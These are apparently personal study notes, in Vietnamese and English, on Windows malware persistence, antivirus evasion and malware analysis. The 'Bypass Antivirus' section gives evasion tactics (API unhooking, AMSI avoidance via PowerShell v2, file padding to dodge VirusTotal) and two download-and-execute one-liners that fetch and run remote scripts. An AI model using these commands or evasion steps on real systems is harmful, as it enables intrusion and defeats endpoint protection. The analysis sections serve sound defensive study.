read later https://medium.com/@Mx0o14/tryhackme-abusing-windows-internals-aa5e6248bb30 Log meaning https://www.linkedin.com/posts/anu-pasupuleti-825292297_monitor-call-logs-activity-7293957267861708800-l7Nj # Persistence https://github.com/KMANVK/Persistance_of_malware/blob/main/Autoruns.txt ## 1.Registry keys (Khóa Registry) Malware có thể tạo hoặc sửa đổi các khóa trong Registry của hệ điều hành để được chạy tự động khi máy tính khởi động. 1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 1. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run 1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce 1. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce 1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices 1. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices 1. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce 1. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce Winlogon ![image](https://hackmd.io/_uploads/rkpTAH1QR.png) https://medium.com/@krzysztof.kuzin/btlo-write-up-total-recall-c02b0885a734 MITRE T1547.001 https://www.cyberark.com/resources/threat-research-blog/persistence-techniques-that-persist ![image](https://hackmd.io/_uploads/S1OWzg-W0.png) Thiếu sự thay đổi trong hijacked process behavior. Create new keys: khi boot fail sẽ thử boot với key khác. (dll injection) ![image](https://hackmd.io/_uploads/S1XSVxW-0.png) **Elevated privileges before implementing their persistence.** By default, Winlogon notifies the SCM that a boot was successful after the first successful login. In some situations, we might prefer to define the successful boot differently (e.g., if a Windows Server needs to run a specific application, we might want to **include a successful launch of the application as part of the successful boot**). Microsoft allows users to define a custom boot verification program for those situations by creating the registry key “HKLM\System\CurrentControlSet\Control\BootVerificationProgram” and setting the value of ImagePath to the path of our boot verification program. ![image](https://hackmd.io/_uploads/HJfPA--bC.png) The SCM launching Notepad++ as the boot verification program. ## path inception Overide existing path ![image](https://hackmd.io/_uploads/Hy-PkGbZ0.png) ## 2.Startup folders (Thư mục khởi động): Malware có thể tạo một liên kết đến tệp thực thi của chúng trong thư mục khởi động của hệ điều hành, giúp chúng được chạy khi máy tính khởi động. Vd: thư mục startup của Windows * C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ ## 3.Scheduled tasks (Công việc định kỳ): https://viettelcybersecurity.com/wp-content/uploads/2022/02/Report-Redline-Stealer.pdf * C:\Users\<user>\AppData\Roaming\services64.exe * C:\Program Files\PowerControl\PowerControl_Svc.exe * %temp%\dQmOBORtOOmVIQYxa\XOLcDlHHxqomGEP\DGsBsDU.exe * c:\users\<user>\appdata\roaming\*\*.exe ## Insert root certificate: * Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoſt\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E * HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\E1C950E6EF22F84C5645728B922060D7D5A7A3E8 * HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\6252DC40F71143A22FDE9EF7348E064251B18118 * HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\CERTIFICATES\CABD2A79A1076A31F21D253635CB039D4329A5E8 ## Turn off Windows defender * HKEY_LOCAL_MACHINE\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\REAL-TIME PROTECTION * Aſter executing, a log file should be created at: * C:\Users\<user>\AppData\Local\Microsoſt\CLR_v4.0 * C:\Users\<user>\AppData\Local\Microsoſt\CLR_v4.0_32 ## 4.Service installation (Cài đặt dịch vụ): Malware có thể cài đặt một dịch vụ hệ thống và cấu hình nó để chạy tệp thực thi của chúng khi dịch vụ được khởi động. ## 5.Browser extensions (Tiện ích mở rộng trình duyệt): Malware có thể cài đặt các tiện ích mở rộng độc hại trong trình duyệt web của người dùng để theo dõi hoạt động và thực hiện các hành động độc hại. ## 6.Rootkit techniques (Kỹ thuật rootkit): Malware có thể sử dụng các kỹ thuật rootkit để ẩn mình và khắc phục bất kỳ sự chống lại nào từ hệ điều hành hoặc phần mềm chống malware. ## 7.File system manipulation (Thay đổi hệ thống tệp tin): Malware có thể thay đổi quyền truy cập và thuộc tính của các tệp tin hoặc thư mục để tránh việc phát hiện và xóa bởi các phần mềm chống malware. ## 8.Network communication (Giao tiếp mạng): Malware có thể kết nối và giao tiếp với máy chủ từ xa hoặc các nguồn tài nguyên mạng khác để nhận hướng dẫn và cung cấp thông tin đánh cắp.1.Registry keys (Khóa Registry): Malware có thể tạo hoặc sửa đổi các khóa trong Registry của hệ điều hành để được chạy tự động khi máy tính khởi động. # Bypass Antivirus ![image](https://hackmd.io/_uploads/HyFHsFMlR.png) ![image](https://hackmd.io/_uploads/ryhBhYfeA.png) https://docs.google.com/presentation/d/1Fdcbv9U1qywIZSl2AhXJAlx61pyEITKfcbbwpJMvkcQ/edit#slide=id.g8d8b1cad0d_1_27 ## Use non-malicious software in malicious ways (preferred) * Instead of Metasploit’s psexec implementation, use PsExec.exe from Microsoft * Instead of Mimikatz.exe, dump LSASS memory with Task Manager and extract passwords elsewhere * Instead of hashdump, save out registry hives and extract hashes elsewhere * Instead of meterpreter (at first), use SSH, Remote Desktop, mRemote-NG, TeamViewer, etc. ## Make an unfair fight * Run inside PowerShell version 2, which doesn’t support AMSI, even on Windows 10 * Use API calls that aren’t intercepted (bị chặn) * “Unhook” API calls so antivirus doesn’t have any visibility Read https://github.com/NtRaiseHardError/Antimalware-Research/ for more on this! * Detect AV’s sandboxed environments and run differently there: https://github.com/David-Reguera-Garcia-Dreg/anticuckoo https://winternl.com/fuzzing-the-windows-api-for-av-evasion/ * Encrypt the payload and only decrypt at runtime (Hyperion, bypasses static signatures and emulation) * Add extra strings (from legitimate software) to increase the “goodness” score * Add extra data to go above certain thresholds ## Bypass virustotal https://cookiearena.org/case-study/phan-tich-ma-doc-tan-cong-doanh-nghiep-ban-hang-online/ Chèn thêm rất nhiều byte 0 vào cuối để tăng kích thước lên trên 700MB, Virus total giới hạn kích thước tải lên là 650MB (VirusTotal hay mách lẻo, nếu nó phát hiện phần mềm của chúng ta là độc hại. Nó sẽ chia sẻ hash cho tất cả các phần mềm AV khác được biết. Điều này tốt cho người dùng nhưng không tốt cho Pentester . Cho nên antiscan.me là lựa chọn tốt hơn (tuy rằng công cụ này cũng rất giỏi vòi tiền)) ## Bypass các phần mềm diệt virus thông thường https://viblo.asia/p/bypass-powershell-execution-policies-tren-windows-MG24BrER4z3 (kỹ thuật này vô hiệu hóa các phần mềm diệt Virus thông thường) (chạy shell trực tiếp thay vì tải về rồi chạy) ``` powershell -nop -c "iex (New-Object Net.WebClient).DownloadString('http://10.0.37.216:8080/virus.ps1')" ``` ``` python -c "`curl https://raw.githubusercontent.com/Shengpy/test/main/a.py`" ``` Chạy hàm sleep theo cách khác. ``` marked_time = current_time() while true: if current_time - marked_time >= 10000 # 10k mil secs == 10s: execute_malware() break ``` ## Applocker https://viblo.asia/p/bypass-applocker-tren-windows-XL6lAen4lek $executioncontext.sessionstate.languagemode ConstrainedLanguage --> blocked https://github.com/padovah4ck/PSByPassCLM ## Bypass UAC https://www.pwndefend.com/2021/08/23/windows-11-privilege-escalation-via-uac-bypass-gui-based/ ### Fodhelper (100 lab2) https://tcm-sec.com/bypassing-defender-the-easy-way-fodhelper/ # Malware analyse https://vmtien.id.vn/ben-trong-ma-doc-danh-cap-tai-khoan-mang-xa-hoi-co-gi/ https://blog.viettelcybersecurity.com/mustang-panda-va-mot-so-bien-the-cua-ma-doc-plugx-duoc-su-dung-pho-bien-trong-thoi-gian-gan-day/?fbclid=IwAR1JnBME5xK-dV9ZZBSKkOp7REQZGy3ACcv5psUQbDQa3On3fUPCK2M8kSA https://viettelcybersecurity.com/wp-content/uploads/2022/02/Report-Redline-Stealer.pdf https://sec.vnpt.vn/2022/04/phan-tich-ma-doc-nghi-ngo-tan-cong-apt-nham-vao-viet-nam/ https://medium.com/ce-malware-analysis/battery-powered-trojan-part-1-3788e03f106f https://sec.vnpt.vn/2019/05/ma-doc-coinminer-tren-facebook/ exeinfo https://www.youtube.com/watch?v=8UfJMMD6HGU HxD - https://mh-nexus.de/en/hxd/ Urlscan - https://urlscan.io/ dnSpyEx - https://github.com/dnSpyEx/dnSpy dnSpy để analyze file PE de4dot - https://github.com/de4dot/de4dot deobfuscate .NET file 16.00 dùng regrex cyberchef để extract base64 https://medium.com/@huseyin.eksi/malware-analysis-challenge-sillyputty-466f6d7aeac4 Detect it easy https://crypt0ace.github.io/page3/ ## CEH 58 module 6 ![image](https://hackmd.io/_uploads/S1-O1eWx0.png) # Malware statistic analyse ![image](https://hackmd.io/_uploads/B1K8TYMxR.png) ![image](https://hackmd.io/_uploads/Hyu70YzgR.png) ## File fingerprinting (153 module 7) ![image](https://hackmd.io/_uploads/B1prRKMlR.png) ## Online scan ![image](https://hackmd.io/_uploads/BkFwRFMeR.png) ## Strings search ![image](https://hackmd.io/_uploads/rJmKAFMgA.png) ## Identify packing/obfuscation ![image](https://hackmd.io/_uploads/ByT90KGe0.png) ![image](https://hackmd.io/_uploads/r1DoRKGlR.png) ## Find PE info ![image](https://hackmd.io/_uploads/Sywa0tzgC.png) ## Identify file dependencies (164) ![image](https://hackmd.io/_uploads/rJeR-9GlA.png) coi các function có gọi đúng lib không ## ELF file(169) ## MacOS(Match-O) (174) ## MS Office document(178) # Malware dynamic analyse (182) ![image](https://hackmd.io/_uploads/HJvdqqzlR.png) ## Port monitoring (184) ![image](https://hackmd.io/_uploads/Skpn5qGxA.png) ## Process monitoring (187) ![image](https://hackmd.io/_uploads/Hkwbi9GlC.png) ## Registry (190) ![image](https://hackmd.io/_uploads/SkfrsqfxA.png) ![image](https://hackmd.io/_uploads/B1UosaFWyg.png) ## Windows service (192) ![image](https://hackmd.io/_uploads/rymOoqzlA.png) ## Startup program ![image](https://hackmd.io/_uploads/r1Nk2qfgA.png) ## Event logs ![image](https://hackmd.io/_uploads/SJRXn9zeC.png) ## Installation ![image](https://hackmd.io/_uploads/HJFu2qzl0.png) ## File and folder monitor ![image](https://hackmd.io/_uploads/HJgc29zxR.png) ## Device driver (205) ![image](https://hackmd.io/_uploads/Hkw2n9feA.png) ## Network traffic ![image](https://hackmd.io/_uploads/BJYk6cfx0.png) ## DNS ![image](https://hackmd.io/_uploads/rkHQTqfgR.png) ## API call(211) ![image](https://hackmd.io/_uploads/H1sSp9zgA.png) ## System call ![image](https://hackmd.io/_uploads/rk9K6cfeR.png) # Trojan counter (245) ![image](https://hackmd.io/_uploads/ryOfZjMxC.png)